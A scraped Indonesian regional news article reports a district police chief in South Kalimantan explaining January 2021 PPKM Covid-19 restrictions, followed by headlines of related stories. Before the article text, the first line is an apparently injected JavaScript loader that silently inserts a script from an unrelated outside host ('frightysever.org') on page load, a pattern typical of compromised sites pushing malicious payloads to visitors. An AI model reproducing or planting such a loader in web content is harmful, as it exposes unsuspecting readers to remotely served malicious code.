(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Kapolres Hulu Sungai Utara (HSU) AKBP Afri Darmawan memastikan tindak lanjuti Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) terkait penanggulangan Covid-19 di Kabupaten HSU.
Hal tersebut ditegasnya saat memimpin apel yang diikuti oleh Wakapolres HSU Kompol Irwan para PJU dan personil serta ASN Polres HSU di halaman Mapolres HSU, Senin (11/01/2021).
Dalam apel ini Kapolres menyampaikan arahan di antaranya beberapa istilah dan informasi-informasi terbaru terkait rencana penanggulangan Covid-19 dan lainya. “Di antaranya Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) dan Pembatasan Sosial Berskala Besar (PSBB),” ujar AKBP Afri.
Kapolres menjelaskan, rencana PPKM diberlakukan sebagian wilayah pulau Jawa dan Bali, kebijakan ini bukan merupakan pelarangan seluruh kegiatan, melainkan hanya pembatasan. Sedangkan untuk (PSBB) ia menerangkan adalah pembatasan kegiatan tertentu masyarakat pada suatu wilayah yang di duga terinfeksi covid19 untuk mencegah penyebaran.
Namun untuk PPKM pihaknya siap melaksanakan sesuai dengan instruksi Gubernur Kalsel nomor 1 tahun 2021 tertanggal 8 Januari 2021. “Polri dalam hal ini Polres HSU, Siap mensukseskan kebijakan pemerintah pusat sampai Pemda setempat,” tegasnya.
Adapun pengaturan PPKM tersebut terdapat beberapa poin di antaranya:
1. Membatasi tempat kerja atau perkantoran dengan menerapkan work from home sebesar 75% dan work from office sebesar 25% dengan protokol kesehatan yg lebih ketat.
2. Kegiatan belajar mengajar secara daring/online.
3. Untuk kebutuhan pokok masyarakat tetap dapat beroperasi 100% dengan pengaturan jam operasional, kapasitas dan penerapan protokol kesehatan.
4. – Kegiatan restoran makan minum di tempat sebesar 25% dan untuk layanan melalui pesan antar / dibawa pulang tetap diizinkan.
– pembatasan jam operasional untuk pembelanjaan / mall sampai jam 20.00 wita.
5. Mengizinkan kegiatan konstruksi beroperasi 100% dalam penerapan protokol kesehatan.
6. Mengizinkan tempat ibadah dengan pengaturan pembatasan sebesar 50% dengan penerapan protokol kesehatan lebih ketat.
7. Mengizinkan kegiatan sosial kemasyarakatan dan keagamaan dengan pembatasan 25% dengan protokol kesehatan yang lebih ketat serta diupayakan dilakukan secara daring /online. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
This website uses cookies.